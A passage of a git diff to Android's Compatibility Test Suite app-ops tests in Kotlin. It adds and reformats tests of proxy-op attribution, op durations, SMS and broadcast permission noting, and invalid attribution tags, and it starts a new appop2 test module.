+        assertThat(attributionOpEntry.getLastAccessTime(OP_FLAG_TRUSTED_PROXIED))
+            .isIn(beforeTrusted..afterTrusted)
+        assertThat(attributionOpEntry.getLastProxyInfo(OP_FLAG_TRUSTED_PROXIED)?.packageName)
+            .isEqualTo(myPackage)
+        assertThat(opEntry.getLastProxyInfo(OP_FLAG_TRUSTED_PROXIED)?.packageName)
+            .isEqualTo(myPackage)
+        assertThat(attributionOpEntry.getLastProxyInfo(OP_FLAG_TRUSTED_PROXIED)?.uid)
+            .isEqualTo(myUid)
+        assertThat(opEntry.getLastProxyInfo(OP_FLAG_TRUSTED_PROXIED)?.uid).isEqualTo(myUid)
+        assertThat(attributionOpEntry.getLastProxyInfo(OP_FLAG_TRUSTED_PROXIED)?.attributionTag)
+            .isEqualTo(firstTag)
+    }
+
+    @AppModeFull(reason = "instant apps cannot see other packages")
+    @Test
+    fun startStopUntrustedProxyVerifyRunningAndTime() {
+        val beforeUntrusted = System.currentTimeMillis()
+        // Make sure timestamps are distinct
+        sleep(1)
+
+        // Untrusted proxy op
+        val secondAttrManager = context.createAttributionContext(secondTag)!!
+            .getSystemService(AppOpsManager::class.java)!!
+        secondAttrManager.startProxyOp(OPSTR_WIFI_SCAN, otherUid, otherPkg, null, null)
+        with(getOpEntry(otherUid, otherPkg, OPSTR_WIFI_SCAN)!!) {
+            assertThat(attributedOpEntries[null]?.getLastProxyInfo(OP_FLAG_UNTRUSTED_PROXIED)!!
+                .packageName).isEqualTo(myPackage)
+            assertThat(attributedOpEntries[null]?.getLastProxyInfo(OP_FLAG_UNTRUSTED_PROXIED)!!
+                .attributionTag).isEqualTo(secondTag)
+        }
+
+        with(getOpEntry(myUid, myPackage, OPSTR_WIFI_SCAN)!!) {
+            assertThat(attributedOpEntries[secondTag]!!.isRunning).isTrue()
+            assertThat(attributedOpEntries[secondTag]!!
+                .getLastProxyInfo(OP_FLAGS_ALL)).isNull()
+        }
+
+        secondAttrManager.finishProxyOp(OPSTR_WIFI_SCAN, otherUid, otherPkg, null)
+        sleep(1)
+        val afterUntrusted = System.currentTimeMillis()
+
+        val opEntry = getOpEntry(otherUid, otherPkg, OPSTR_WIFI_SCAN)!!
+        val attributionOpEntry = opEntry.attributedOpEntries[null]!!
+
+        assertThat(attributionOpEntry.isRunning).isFalse()
+        assertThat(opEntry.isRunning).isFalse()
+        assertThat(attributionOpEntry.getLastAccessTime(OP_FLAG_UNTRUSTED_PROXIED))
+            .isIn(beforeUntrusted..afterUntrusted)
+        assertThat(attributionOpEntry.getLastProxyInfo(OP_FLAG_UNTRUSTED_PROXIED)?.packageName)
+            .isEqualTo(myPackage)
+        assertThat(opEntry.getLastProxyInfo(OP_FLAG_UNTRUSTED_PROXIED)?.packageName)
+            .isEqualTo(myPackage)
+        assertThat(attributionOpEntry.getLastProxyInfo(OP_FLAG_UNTRUSTED_PROXIED)?.uid)
+            .isEqualTo(myUid)
+        assertThat(opEntry.getLastProxyInfo(OP_FLAG_UNTRUSTED_PROXIED)?.uid).isEqualTo(myUid)
+        assertThat(attributionOpEntry.getLastProxyInfo(OP_FLAG_UNTRUSTED_PROXIED)?.attributionTag)
+            .isEqualTo(secondTag)
+    }
+
+    @AppModeFull(reason = "instant apps cannot see other packages")
+    @Test
+    fun startStopTrustedAndUntrustedProxyVerifyProxyInfo() {
+        lateinit var firstAttrManager: AppOpsManager
+        // Using the shell identity causes a trusted proxy op
+        runWithShellPermissionIdentity {
+            firstAttrManager = context.createAttributionContext(firstTag)!!
+                .getSystemService(AppOpsManager::class.java)!!
+            val start = firstAttrManager.startProxyOp(OPSTR_WIFI_SCAN, otherUid, otherPkg, null,
+                null)
+            sleep(1)
+        }
+
+        firstAttrManager.finishProxyOp(OPSTR_WIFI_SCAN, otherUid, otherPkg, null)
+        sleep(1)
+
+        // Untrusted proxy op
+        val secondAttrManager = context.createAttributionContext(secondTag)!!
+            .getSystemService(AppOpsManager::class.java)!!
+        secondAttrManager.startProxyOp(OPSTR_WIFI_SCAN, otherUid, otherPkg, null, null)
+
+        sleep(1)
+        secondAttrManager.finishProxyOp(OPSTR_WIFI_SCAN, otherUid, otherPkg, null)
+
+        val opEntry = getOpEntry(otherUid, otherPkg, OPSTR_WIFI_SCAN)!!
+        val attributionOpEntry = opEntry.attributedOpEntries[null]!!
+        assertThat(attributionOpEntry.isRunning).isFalse()
+        assertThat(opEntry.isRunning).isFalse()
+
+        assertThat(attributionOpEntry.getLastProxyInfo(OP_FLAG_TRUSTED_PROXIED)?.attributionTag)
+            .isEqualTo(firstTag)
+        assertThat(attributionOpEntry.getLastProxyInfo(OP_FLAG_UNTRUSTED_PROXIED)?.attributionTag)
+            .isEqualTo(secondTag)
+
+        // If asked for all op-flags the second attribution overrides the first
+        assertThat(attributionOpEntry.getLastProxyInfo(OP_FLAGS_ALL)?.attributionTag)
+            .isEqualTo(secondTag)
     }
 
     @Test
@@ -372,12 +517,12 @@
 
         with(getOpEntry(myUid, myPackage, OPSTR_WIFI_SCAN)!!) {
             assertThat(attributedOpEntries[null]!!.getLastAccessTime(OP_FLAGS_ALL))
-                    .isIn(beforeNullAttributionStart..afterNullAttributionStart)
+                .isIn(beforeNullAttributionStart..afterNullAttributionStart)
             attributedOpEntries[TEST_ATTRIBUTION_TAG]?.let {
                 assertThat(it.getLastAccessTime(OP_FLAGS_ALL)).isAtMost(beforeNullAttributionStart)
             }
             assertThat(getLastAccessTime(OP_FLAGS_ALL))
-                    .isIn(beforeNullAttributionStart..afterNullAttributionStart)
+                .isIn(beforeNullAttributionStart..afterNullAttributionStart)
         }
 
         val beforeFirstAttributionStart = System.currentTimeMillis()
@@ -386,11 +531,11 @@
 
         with(getOpEntry(myUid, myPackage, OPSTR_WIFI_SCAN)!!) {
             assertThat(attributedOpEntries[null]!!.getLastAccessTime(OP_FLAGS_ALL))
-                    .isIn(beforeNullAttributionStart..afterNullAttributionStart)
+                .isIn(beforeNullAttributionStart..afterNullAttributionStart)
             assertThat(attributedOpEntries[TEST_ATTRIBUTION_TAG]!!.getLastAccessTime(OP_FLAGS_ALL))
-                    .isIn(beforeFirstAttributionStart..afterFirstAttributionStart)
+                .isIn(beforeFirstAttributionStart..afterFirstAttributionStart)
             assertThat(getLastAccessTime(OP_FLAGS_ALL))
-                    .isIn(beforeFirstAttributionStart..afterFirstAttributionStart)
+                .isIn(beforeFirstAttributionStart..afterFirstAttributionStart)
         }
 
         appOpsManager.startOp(OPSTR_WIFI_SCAN, myUid, myPackage, TEST_ATTRIBUTION_TAG, null)
@@ -398,11 +543,11 @@
         // Nested startOps do _not_ count as another access
         with(getOpEntry(myUid, myPackage, OPSTR_WIFI_SCAN)!!) {
             assertThat(attributedOpEntries[null]!!.getLastAccessTime(OP_FLAGS_ALL))
-                    .isIn(beforeNullAttributionStart..afterNullAttributionStart)
+                .isIn(beforeNullAttributionStart..afterNullAttributionStart)
             assertThat(attributedOpEntries[TEST_ATTRIBUTION_TAG]!!.getLastAccessTime(OP_FLAGS_ALL))
-                    .isIn(beforeFirstAttributionStart..afterFirstAttributionStart)
+                .isIn(beforeFirstAttributionStart..afterFirstAttributionStart)
             assertThat(getLastAccessTime(OP_FLAGS_ALL))
-                    .isIn(beforeFirstAttributionStart..afterFirstAttributionStart)
+                .isIn(beforeFirstAttributionStart..afterFirstAttributionStart)
         }
 
         appOpsManager.finishOp(OPSTR_WIFI_SCAN, myUid, myPackage, TEST_ATTRIBUTION_TAG)
@@ -412,9 +557,9 @@
 
     @Test
     fun startStopMultipleOpsAndVerifyDuration() {
-        val beforeNullAttributionStart = SystemClock.elapsedRealtime()
+        val beforeNullAttrStart = SystemClock.elapsedRealtime()
         appOpsManager.startOp(OPSTR_WIFI_SCAN, myUid, myPackage, null, null)
-        val afterNullAttributionStart = SystemClock.elapsedRealtime()
+        val afterNullAttrStart = SystemClock.elapsedRealtime()
 
         run {
             val beforeGetOp = SystemClock.elapsedRealtime()
@@ -422,17 +567,15 @@
                 val afterGetOp = SystemClock.elapsedRealtime()
 
                 assertThat(attributedOpEntries[null]!!.getLastDuration(OP_FLAGS_ALL))
-                        .isIn(beforeGetOp - afterNullAttributionStart
-                                ..afterGetOp - beforeNullAttributionStart)
+                    .isIn(beforeGetOp - afterNullAttrStart..afterGetOp - beforeNullAttrStart)
                 assertThat(getLastDuration(OP_FLAGS_ALL))
-                        .isIn(beforeGetOp - afterNullAttributionStart
-                                ..afterGetOp - beforeNullAttributionStart)
+                    .isIn(beforeGetOp - afterNullAttrStart..afterGetOp - beforeNullAttrStart)
             }
         }
 
-        val beforeAttributionStart = SystemClock.elapsedRealtime()
+        val beforeAttrStart = SystemClock.elapsedRealtime()
         appOpsManager.startOp(OPSTR_WIFI_SCAN, myUid, myPackage, TEST_ATTRIBUTION_TAG, null)
-        val afterAttributionStart = SystemClock.elapsedRealtime()
+        val afterAttrStart = SystemClock.elapsedRealtime()
 
         run {
             val beforeGetOp = SystemClock.elapsedRealtime()
@@ -440,15 +583,14 @@
                 val afterGetOp = SystemClock.elapsedRealtime()
 
                 assertThat(attributedOpEntries[null]!!.getLastDuration(OP_FLAGS_ALL))
-                        .isIn(beforeGetOp - afterNullAttributionStart
-                                ..afterGetOp - beforeNullAttributionStart)
+                    .isIn(beforeGetOp - afterNullAttrStart..afterGetOp - beforeNullAttrStart)
                 assertThat(attributedOpEntries[TEST_ATTRIBUTION_TAG]!!
-                        .getLastDuration(OP_FLAGS_ALL)).isIn(beforeGetOp -
-                                afterAttributionStart..afterGetOp - beforeAttributionStart)
+                    .getLastDuration(OP_FLAGS_ALL))
+                    .isIn(beforeGetOp - afterAttrStart..afterGetOp - beforeAttrStart)
 
                 // The last duration is the duration of the last started attribution
-                assertThat(getLastDuration(OP_FLAGS_ALL)).isIn(beforeGetOp -
-                        afterAttributionStart..afterGetOp - beforeAttributionStart)
+                assertThat(getLastDuration(OP_FLAGS_ALL))
+                    .isIn(beforeGetOp - afterAttrStart..afterGetOp - beforeAttrStart)
             }
         }
 
@@ -462,14 +604,12 @@
                 val afterGetOp = SystemClock.elapsedRealtime()
 
                 assertThat(attributedOpEntries[null]!!.getLastDuration(OP_FLAGS_ALL))
-                        .isIn(beforeGetOp - afterNullAttributionStart
-                                ..afterGetOp - beforeNullAttributionStart)
+                    .isIn(beforeGetOp - afterNullAttrStart..afterGetOp - beforeNullAttrStart)
                 assertThat(attributedOpEntries[TEST_ATTRIBUTION_TAG]!!
-                        .getLastDuration(OP_FLAGS_ALL)).isIn(beforeGetOp -
-                        afterAttributionStart..afterGetOp - beforeAttributionStart)
+                    .getLastDuration(OP_FLAGS_ALL))
+                    .isIn(beforeGetOp - afterAttrStart..afterGetOp - beforeAttrStart)
                 assertThat(getLastDuration(OP_FLAGS_ALL))
-                        .isIn(beforeGetOp -
-                                afterAttributionStart..afterGetOp - beforeAttributionStart)
+                    .isIn(beforeGetOp - afterAttrStart..afterGetOp - beforeAttrStart)
             }
         }
 
@@ -481,19 +621,19 @@
                 val afterGetOp = SystemClock.elapsedRealtime()
 
                 assertThat(attributedOpEntries[null]!!.getLastDuration(OP_FLAGS_ALL))
-                        .isIn(beforeGetOp - afterNullAttributionStart
-                                ..afterGetOp - beforeNullAttributionStart)
+                    .isIn(beforeGetOp - afterNullAttrStart..afterGetOp - beforeNullAttrStart)
                 assertThat(attributedOpEntries[TEST_ATTRIBUTION_TAG]!!
-                        .getLastDuration(OP_FLAGS_ALL)).isIn(beforeGetOp -
-                                afterAttributionStart..afterGetOp - beforeAttributionStart)
-                assertThat(getLastDuration(OP_FLAGS_ALL)).isIn(beforeGetOp -
-                                afterAttributionStart..afterGetOp - beforeAttributionStart)
+                    .getLastDuration(OP_FLAGS_ALL))
+                    .isIn(beforeGetOp - afterAttrStart..afterGetOp - beforeAttrStart)
+                assertThat(getLastDuration(OP_FLAGS_ALL))
+                    .isIn(beforeGetOp - afterAttrStart..afterGetOp - beforeAttrStart)
             }
         }
 
-        val beforeAttributionStop = SystemClock.elapsedRealtime()
+        val beforeAttrStop = SystemClock.elapsedRealtime()
         appOpsManager.finishOp(OPSTR_WIFI_SCAN, myUid, myPackage, TEST_ATTRIBUTION_TAG)
-        val afterAttributionStop = SystemClock.elapsedRealtime()
+        sleep(1)
+        val afterAttrStop = SystemClock.elapsedRealtime()
 
         run {
             val beforeGetOp = SystemClock.elapsedRealtime()
@@ -501,32 +641,27 @@
                 val afterGetOp = SystemClock.elapsedRealtime()
 
                 assertThat(attributedOpEntries[null]!!.getLastDuration(OP_FLAGS_ALL))
-                        .isIn(beforeGetOp - afterNullAttributionStart
-                                ..afterGetOp - beforeNullAttributionStart)
+                    .isIn(beforeGetOp - afterNullAttrStart..afterGetOp - beforeNullAttrStart)
                 assertThat(attributedOpEntries[TEST_ATTRIBUTION_TAG]!!
-                        .getLastDuration(OP_FLAGS_ALL)).isIn(
-                        beforeAttributionStop - afterAttributionStart
-                                ..afterAttributionStop - beforeAttributionStart)
+                    .getLastDuration(OP_FLAGS_ALL))
+                    .isIn(beforeAttrStop - afterAttrStart..afterAttrStop - beforeAttrStart)
                 assertThat(getLastDuration(OP_FLAGS_ALL))
-                        .isIn(beforeAttributionStop - afterAttributionStart
-                                ..afterAttributionStop - beforeAttributionStart)
+                    .isIn(beforeAttrStop - afterAttrStart..afterAttrStop - beforeAttrStart)
             }
         }
 
-        val beforeNullAttributionStop = SystemClock.elapsedRealtime()
+        val beforeNullAttrStop = SystemClock.elapsedRealtime()
         appOpsManager.finishOp(OPSTR_WIFI_SCAN, myUid, myPackage, null)
-        val afterNullAttributionStop = SystemClock.elapsedRealtime()
+        val afterNullAttrStop = SystemClock.elapsedRealtime()
 
         with(getOpEntry(myUid, myPackage, OPSTR_WIFI_SCAN)!!) {
             assertThat(attributedOpEntries[null]!!.getLastDuration(OP_FLAGS_ALL))
-                    .isIn(beforeNullAttributionStop - afterNullAttributionStart
-                            ..afterNullAttributionStop - beforeNullAttributionStart)
+                .isIn(beforeNullAttrStop -
+                    afterNullAttrStart..afterNullAttrStop - beforeNullAttrStart)
             assertThat(attributedOpEntries[TEST_ATTRIBUTION_TAG]!!.getLastDuration(OP_FLAGS_ALL))
-                    .isIn(beforeAttributionStop - afterAttributionStart
-                            ..afterAttributionStop - beforeAttributionStart)
+                .isIn(beforeAttrStop - afterAttrStart..afterAttrStop - beforeAttrStart)
             assertThat(getLastDuration(OP_FLAGS_ALL))
-                    .isIn(beforeAttributionStop - afterAttributionStart
-                            ..afterAttributionStop - beforeAttributionStart)
+                .isIn(beforeAttrStop - afterAttrStart..afterAttrStop - beforeAttrStart)
         }
     }
 }
diff --git a/tests/tests/appop/src/android/app/appops/cts/AppOpsLoggingTest.kt b/tests/tests/appop/src/android/app/appops/cts/AppOpsLoggingTest.kt
index c2cf39e..4d0e2b1 100644
--- a/tests/tests/appop/src/android/app/appops/cts/AppOpsLoggingTest.kt
+++ b/tests/tests/appop/src/android/app/appops/cts/AppOpsLoggingTest.kt
@@ -16,14 +16,20 @@
 
 package android.app.appops.cts
 
+import android.Manifest.permission.READ_CONTACTS
+import android.Manifest.permission.READ_LOGS
+import android.app.Activity.RESULT_OK
 import android.app.AppOpsManager
+import android.app.AppOpsManager.MODE_ALLOWED
 import android.app.AppOpsManager.OPSTR_ACCESS_ACCESSIBILITY
 import android.app.AppOpsManager.OPSTR_CAMERA
 import android.app.AppOpsManager.OPSTR_COARSE_LOCATION
 import android.app.AppOpsManager.OPSTR_FINE_LOCATION
 import android.app.AppOpsManager.OPSTR_GET_ACCOUNTS
+import android.app.AppOpsManager.OPSTR_GET_USAGE_STATS
 import android.app.AppOpsManager.OPSTR_READ_CONTACTS
 import android.app.AppOpsManager.OPSTR_READ_EXTERNAL_STORAGE
+import android.app.AppOpsManager.OPSTR_SEND_SMS
 import android.app.AppOpsManager.OPSTR_WRITE_CONTACTS
 import android.app.AppOpsManager.OnOpNotedCallback
 import android.app.AppOpsManager.strOpToOp
@@ -33,8 +39,6 @@
 import android.app.WallpaperManager
 import android.app.WallpaperManager.FLAG_SYSTEM
 import android.bluetooth.BluetoothManager
-import android.bluetooth.cts.BTAdapterUtils.enableAdapter as enableBTAdapter
-import android.bluetooth.cts.BTAdapterUtils.disableAdapter as disableBTAdapter
 import android.bluetooth.le.ScanCallback
 import android.content.BroadcastReceiver
 import android.content.ComponentName
@@ -55,12 +59,14 @@
 import android.location.LocationManager
 import android.net.wifi.WifiManager
 import android.os.Bundle
+import android.os.DropBoxManager
 import android.os.Handler
 import android.os.IBinder
 import android.os.Looper
 import android.os.Process
 import android.platform.test.annotations.AppModeFull
 import android.provider.ContactsContract
+import android.telephony.SmsManager
 import android.telephony.TelephonyManager
 import androidx.test.platform.app.InstrumentationRegistry
 import com.google.common.truth.Truth.assertThat
@@ -68,14 +74,20 @@
 import org.junit.Assert.fail
 import org.junit.Assume.assumeTrue
 import org.junit.Before
+import org.junit.Ignore
 import org.junit.Test
 import java.util.concurrent.CompletableFuture
 import java.util.concurrent.Executor
 import java.util.concurrent.TimeUnit.MILLISECONDS
 import java.util.concurrent.TimeoutException
+import android.bluetooth.cts.BTAdapterUtils.disableAdapter as disableBTAdapter
+import android.bluetooth.cts.BTAdapterUtils.enableAdapter as enableBTAdapter
 
 private const val TEST_SERVICE_PKG = "android.app.appops.cts.appthatusesappops"
 private const val TIMEOUT_MILLIS = 10000L
+private const val PRIVATE_ACTION = "android.app.appops.cts.PRIVATE_ACTION"
+private const val PUBLIC_ACTION = "android.app.appops.cts.PUBLIC_ACTION"
+private const val PROTECTED_ACTION = "android.app.appops.cts.PROTECTED_ACTION"
 
 private external fun nativeNoteOp(
     op: Int,
@@ -87,7 +99,7 @@
 
 @AppModeFull(reason = "Test relies on other app to connect to. Instant apps can't see other apps")
 class AppOpsLoggingTest {
-    private val context = InstrumentationRegistry.getInstrumentation().targetContext
+    private val context = InstrumentationRegistry.getInstrumentation().targetContext as Context
     private val appOpsManager = context.getSystemService(AppOpsManager::class.java)
 
     private val myUid = Process.myUid()
@@ -541,7 +553,9 @@
 
     /**
      * Realistic end-to-end test for getting called back for a proximity alert
+     * (b/150438846 - ignored this test due to flakiness)
      */
+    @Ignore
     @Test
     fun triggerProximityAlert() {
         val PROXIMITY_ALERT_ACTION = "proxAlert"
@@ -576,7 +590,12 @@
                 eventually {
                     assertThat(asyncNoted.map { it.op }).contains(OPSTR_FINE_LOCATION)
                     assertThat(asyncNoted[0].attributionTag).isEqualTo(TEST_ATTRIBUTION_TAG)
-                    assertThat(asyncNoted[0].message).contains(PROXIMITY_ALERT_ACTION)
+
+                    assertThat(asyncNoted[0].message).contains(
+                        proximityAlertReceiverPendingIntent::class.java.name)
+                    assertThat(asyncNoted[0].message).contains(
+                        Integer.toHexString(
+                            System.identityHashCode(proximityAlertReceiverPendingIntent)))
                 }
             } finally {
                 locationManager.removeProximityAlert(proximityAlertReceiverPendingIntent)
@@ -690,6 +709,24 @@
     }
 
     /**
+     * Realistic end-to-end test for sending a SMS message
+     */
+    @Test
+    fun sendSms() {
+        assumeTrue(context.packageManager.hasSystemFeature(FEATURE_TELEPHONY))
+
+        val smsManager = context.createAttributionContext(TEST_ATTRIBUTION_TAG)
+                .getSystemService(SmsManager::class.java)
+
+        // No need for valid data. The permission is checked before the parameters are validated
+        smsManager.sendTextMessage("dst", null, "text", null, null)
+
+        assertThat(noted[0].first.op).isEqualTo(OPSTR_SEND_SMS)
+        assertThat(noted[0].first.attributionTag).isEqualTo(TEST_ATTRIBUTION_TAG)
+        assertThat(noted[0].second.map { it.methodName }).contains("sendSms")
+    }
+
+    /**
      * Realistic end-to-end test for starting a permission protected activity
      */
     @Test
@@ -704,6 +741,77 @@
         assertThat(noted[0].second.map { it.methodName }).contains("startActivity")
     }
 
+    /**
+     * Realistic end-to-end test for starting a permission protected activity
+     */
+    @Test
+    fun getNextDropBoxEntry() {
+        runWithShellPermissionIdentity {
+            context.packageManager.grantRuntimePermission(myPackage, READ_LOGS, myUserHandle)
+            appOpsManager.setMode(OPSTR_GET_USAGE_STATS, myUid, myPackage, MODE_ALLOWED)
+        }
+
+        val dropBoxManager = context.createAttributionContext(TEST_ATTRIBUTION_TAG)
+                .getSystemService(DropBoxManager::class.java)
+
+        val entry = dropBoxManager.getNextEntry("foo", 100)
+        entry?.close()
+
+        assertThat(noted[0].first.op).isEqualTo(OPSTR_GET_USAGE_STATS)
+        assertThat(noted[0].first.attributionTag).isEqualTo(TEST_ATTRIBUTION_TAG)
+        assertThat(noted[0].second.map { it.methodName }).contains("getNextDropBoxEntry")
+    }
+
+    @Test
+    fun receiveBroadcastRegisteredReceiver() {
+        val receiver = object : BroadcastReceiver() {
+            override fun onReceive(context: Context?, intent: Intent?) {
+            }
+        }
+
+        val testContext = context.createAttributionContext(TEST_ATTRIBUTION_TAG)
+        testContext.registerReceiver(receiver, IntentFilter(PRIVATE_ACTION))
+
+        try {
+            context.sendOrderedBroadcast(Intent(PRIVATE_ACTION), READ_CONTACTS, OPSTR_READ_CONTACTS,
+                    null, null, RESULT_OK, null, null)
+
+            eventually {
+                assertThat(asyncNoted[0].op).isEqualTo(OPSTR_READ_CONTACTS)
+                assertThat(asyncNoted[0].attributionTag).isEqualTo(TEST_ATTRIBUTION_TAG)
+                assertThat(asyncNoted[0].message)
+                        .contains(System.identityHashCode(receiver).toString())
+            }
+        } finally {
+            testContext.unregisterReceiver(receiver)
+        }
+    }
+
+    @Test
+    fun receiveBroadcastManifestReceiver() {
+        context.sendOrderedBroadcast(Intent(PUBLIC_ACTION).setPackage(myPackage), READ_CONTACTS,
+                OPSTR_READ_CONTACTS, null, null, RESULT_OK, null, null)
+
+        eventually {
+            assertThat(asyncNoted[0].op).isEqualTo(OPSTR_READ_CONTACTS)
+
+            // Manifest receivers do not have an attribution
+            assertThat(asyncNoted[0].attributionTag).isEqualTo(null)
+            assertThat(asyncNoted[0].message).contains("PublicActionReceiver")
+        }
+    }
+
+    @Test
+    fun sendBroadcastToProtectedReceiver() {
+        context.createAttributionContext(TEST_ATTRIBUTION_TAG)
+                .sendBroadcast(Intent(PROTECTED_ACTION).setPackage(myPackage))
+
+        eventually {
+            assertThat(asyncNoted[0].op).isEqualTo(OPSTR_READ_CONTACTS)
+            assertThat(asyncNoted[0].attributionTag).isEqualTo(TEST_ATTRIBUTION_TAG)
+        }
+    }
+
     @After
     fun removeNotedAppOpsCollector() {
         appOpsManager.setOnOpNotedCallback(null, null)
@@ -862,3 +970,13 @@
         }
     }
 }
+
+class PublicActionReceiver : BroadcastReceiver() {
+    override fun onReceive(context: Context, intent: Intent?) {
+    }
+}
+
+class ProtectedActionReceiver : BroadcastReceiver() {
+    override fun onReceive(context: Context, intent: Intent?) {
+    }
+}
diff --git a/tests/tests/appop/src/android/app/appops/cts/AppOpsTest.kt b/tests/tests/appop/src/android/app/appops/cts/AppOpsTest.kt
index 3b4dda1..dae5d3a 100644
--- a/tests/tests/appop/src/android/app/appops/cts/AppOpsTest.kt
+++ b/tests/tests/appop/src/android/app/appops/cts/AppOpsTest.kt
@@ -249,17 +249,18 @@
             mAppOps.startWatchingActive(arrayOf(OPSTR_WRITE_CALENDAR), Executor { it.run() },
                 activeWatcher)
             try {
-                mAppOps.startOp(OPSTR_WRITE_CALENDAR, mMyUid, mOpPackageName, "attribution1", null)
+                mAppOps.startOp(OPSTR_WRITE_CALENDAR, mMyUid, mOpPackageName, "firstAttribution",
+                        null)
                 assertTrue(mAppOps.isOpActive(OPSTR_WRITE_CALENDAR, mMyUid, mOpPackageName))
                 gotActive.get(TIMEOUT_MS, TimeUnit.MILLISECONDS)
 
                 mAppOps.startOp(OPSTR_WRITE_CALENDAR, Process.myUid(), mOpPackageName,
-                    "attribution2", null)
+                    "secondAttribution", null)
                 assertTrue(mAppOps.isOpActive(OPSTR_WRITE_CALENDAR, mMyUid, mOpPackageName))
                 assertFalse(gotInActive.isDone)
 
                 mAppOps.finishOp(OPSTR_WRITE_CALENDAR, Process.myUid(), mOpPackageName,
-                    "attribution1")
+                    "firstAttribution")
 
                 // Allow some time for premature "watchingActive" callbacks to arrive
                 Thread.sleep(500)
@@ -268,7 +269,7 @@
                 assertFalse(gotInActive.isDone)
 
                 mAppOps.finishOp(OPSTR_WRITE_CALENDAR, Process.myUid(), mOpPackageName,
-                    "attribution2")
+                    "secondAttribution")
                 assertFalse(mAppOps.isOpActive(OPSTR_WRITE_CALENDAR, mMyUid, mOpPackageName))
                 gotInActive.get(TIMEOUT_MS, TimeUnit.MILLISECONDS)
             } finally {
diff --git a/tests/tests/appop/src/android/app/appops/cts/AttributionTest.kt b/tests/tests/appop/src/android/app/appops/cts/AttributionTest.kt
index 0bdf312..8aba608 100644
--- a/tests/tests/appop/src/android/app/appops/cts/AttributionTest.kt
+++ b/tests/tests/appop/src/android/app/appops/cts/AttributionTest.kt
@@ -19,12 +19,12 @@
 import android.app.AppOpsManager
 import android.app.AppOpsManager.OPSTR_WIFI_SCAN
 import android.app.AppOpsManager.OP_FLAGS_ALL
+import android.app.AppOpsManager.SECURITY_EXCEPTION_ON_INVALID_ATTRIBUTION_TAG_CHANGE
 import android.platform.test.annotations.AppModeFull
 import androidx.test.platform.app.InstrumentationRegistry
 import com.google.common.truth.Truth.assertThat
 import org.junit.Before
 import org.junit.Test
-import java.lang.AssertionError
 import java.lang.Thread.sleep
 
 private const val APK_PATH = "/data/local/tmp/cts/appops/"
@@ -62,7 +62,7 @@
         sleep(1)
 
         runWithShellPermissionIdentity {
-            appOpsManager.noteOpNoThrow(OPSTR_WIFI_SCAN, appUid, APP_PKG, attribution, null)
+            appOpsManager.noteOp(OPSTR_WIFI_SCAN, appUid, APP_PKG, attribution, null)
         }
     }
 
@@ -106,6 +106,18 @@
         }
     }
 
+    @Test(expected = SecurityException::class)
+    fun cannotUseUndeclaredAttributionTag() {
+        withEnabledCompatChange(SECURITY_EXCEPTION_ON_INVALID_ATTRIBUTION_TAG_CHANGE, APP_PKG) {
+            noteForAttribution("invalid attribution tag")
+        }
+    }
+
+    @Test
+    fun canUseUndeclaredAttributionTagIfChangeForBlameeIsDisabled() {
+        noteForAttribution("invalid attribution tag")
+    }
+
     @Test(expected = AssertionError::class)
     fun cannotInheritFromSelf() {
         installApk("AppWithAttributionInheritingFromSelf.apk")
diff --git a/tests/tests/appop2/Android.bp b/tests/tests/appop2/Android.bp
new file mode 100644
index 0000000..4b6eed8
--- /dev/null
+++ b/tests/tests/appop2/Android.bp
@@ -0,0 +1,33 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsAppOps2TestCases",
+
+    srcs: ["src/**/*.kt"],
+
+    static_libs: [
+        "appops-test-util-lib",
+        "androidx.test.rules",
+        "compatibility-device-util-axt",
+        "platform-test-annotations",
+        "truth-prebuilt",
+    ],
+
+    test_suites: [
+        "cts",
+        "vts10",
+        "general-tests",
+    ],
+}
diff --git a/tests/tests/appop2/AndroidManifest.xml b/tests/tests/appop2/AndroidManifest.xml
new file mode 100644
index 0000000..b1ceac6
--- /dev/null
+++ b/tests/tests/appop2/AndroidManifest.xml
@@ -0,0 +1,32 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.app.appops2.cts">
+  <attribution android:tag="testAttribution" android:label="@string/dummyLabel" />
+
+  <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
+
+  <uses-permission android:name="android.permission.REQUEST_INSTALL_PACKAGES" />
+
+  <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+      android:functionalTest="true"
+      android:targetPackage="android.app.appops2.cts"
+      android:label="Tests for the app ops API (cannot include reset of app-op state)."/>
+
+</manifest>
diff --git a/tests/tests/appop2/AndroidTest.xml b/tests/tests/appop2/AndroidTest.xml
new file mode 100644
index 0000000..fc10a83
--- /dev/null
+++ b/tests/tests/appop2/AndroidTest.xml
@@ -0,0 +1,45 @@
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+<configuration description="Config for CTS app ops test cases">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
